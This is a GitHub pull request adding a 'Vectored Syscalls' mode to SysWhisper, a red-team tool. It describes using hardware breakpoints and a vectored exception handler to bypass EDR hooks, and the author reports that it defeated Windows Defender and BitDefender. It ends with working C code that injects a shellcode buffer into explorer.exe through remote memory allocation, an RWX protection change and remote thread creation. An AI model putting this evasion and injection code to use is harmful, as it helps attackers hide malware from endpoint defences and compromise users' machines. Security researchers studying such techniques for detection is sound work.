Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Implementation of Vectored Syscalls #22

Open
wants to merge 2 commits into
base: master
Choose a base branch
from

Conversation

UmaRex01
Copy link

The objective of this pull request is to enhance the functionality of SysWhisper by introducing a new operating mode. The new feature, entitled "Vectored", is based on the concept of performing system calls by leveraging the VEH structure.

Some references:
https://cyberwarfare.live/bypassing-av-edr-hooks-via-vectored-syscall-poc/
https://redops.at/en/blog/syscalls-via-vectored-exception-handling
https://winslow1984.com/books/malware/page/mutationgate

Some Related Projects:
MutationGate by @senzee1984
HWSyscalls by Dec0ne
TamperingSyscalls by rad9800
VEH-PoC by RedTeamOperations

How it works

A new initialization function, SW3_Init(), takes care of registering a custom Exception Handler: ExceptionHandler. Thus, every time an API is called:

  • A hardware breakpoint is inserted at the beginning of the ntdll.dll API that is to be invoked (which, in the case of inline hooking, also corresponds with the address of the jmp instruction to the EDR DLL);
  • The intended API of ntdll.dll is invoked;
  • The hardware breakpoint interrupts the execution flow and the raised exception is handled by our previously registered exception handler;
  • The exception handler takes care of updating the registers by setting the correct SSN value into EAX and setting RIP to the address of the syscall instruction;
  • In this way the API is executed bypassing the hooking instructions added by the EDR.

The implementation was tested on 2 Windows 10 x64 systems. The first protected by Windows Defender and the second by BitDefender (free version). Both tests were successful.

Here are some screenshots illustrating what has just been described. The screenshots refer to a test binary whose code is also given at the bottom as an example of using the new feature.

ida1

ida2

ida3

Example Usage

int main()
{
	HANDLE hProcess = NULL, hRemoteThread = NULL;
	PVOID pRemoteAddr = NULL;
	DWORD dwTgtProcId, oldProtect;
	SIZE_T bufLen = sizeof(buf), bytesWritten = 0;

	CONTEXT threadContext;
	threadContext.ContextFlags = CONTEXT_ALL;

	if (!SW3_Init())
		return 0;

	dwTgtProcId = FindProcessByName(TEXT("explorer.exe"));
	if (dwTgtProcId == 0)
	{
		print_debug("[-] target process not found\n");
		return 0;
	}
	print_debug("[+] pid: %d\n", dwTgtProcId);

	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTgtProcId);
	if (hProcess == NULL)
	{
		print_debug("[-] handle not obtained\n");
		goto Exit;
	}
	print_debug("[+] handle obtained\n");

	if (Sw3NtAllocateVirtualMemory(hProcess, &pRemoteAddr, 0, &bufLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) != 0) {
		print_debug("[-] NtAllocateVirtualMemory failed\n");
		VirtualFreeEx(hProcess, pRemoteAddr, 0, MEM_RELEASE);
		goto Exit;
	}
	print_debug("[+] remote memory allocation succeded: %p\n", pRemoteAddr);

	if (Sw3NtWriteVirtualMemory(hProcess, pRemoteAddr, buf, sizeof(buf), &bytesWritten) != 0) {
		print_debug("[-] NtWriteVirtualMemory failed\n");
		VirtualFreeEx(hProcess, pRemoteAddr, 0, MEM_RELEASE);
		goto Exit;
	}
	print_debug("[+] written %lld bytes\n", bytesWritten);

	if (Sw3NtProtectVirtualMemory(hProcess, &pRemoteAddr, &bufLen, PAGE_EXECUTE_READWRITE, &oldProtect) != 0) {
		print_debug("[-] NtProtectVirtualMemory failed\n");
		VirtualFreeEx(hProcess, pRemoteAddr, 0, MEM_RELEASE);
		goto Exit;
	}
	print_debug("[+] virtual protect\n");

	if (Sw3NtCreateThreadEx(&hRemoteThread, THREAD_ALL_ACCESS, NULL,
		hProcess, pRemoteAddr, NULL, FALSE, 0, 0, 0, NULL) != 0) {
		print_debug("[-] NtCreateThread failed\n");
		VirtualFreeEx(hProcess, pRemoteAddr, 0, MEM_RELEASE);
		goto Exit;
	}
	print_debug("[+] remote thread created\n");

Exit:
	if (hRemoteThread != NULL) CloseHandle(hRemoteThread);
	if (hProcess != NULL) CloseHandle(hProcess);

	return 0;
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant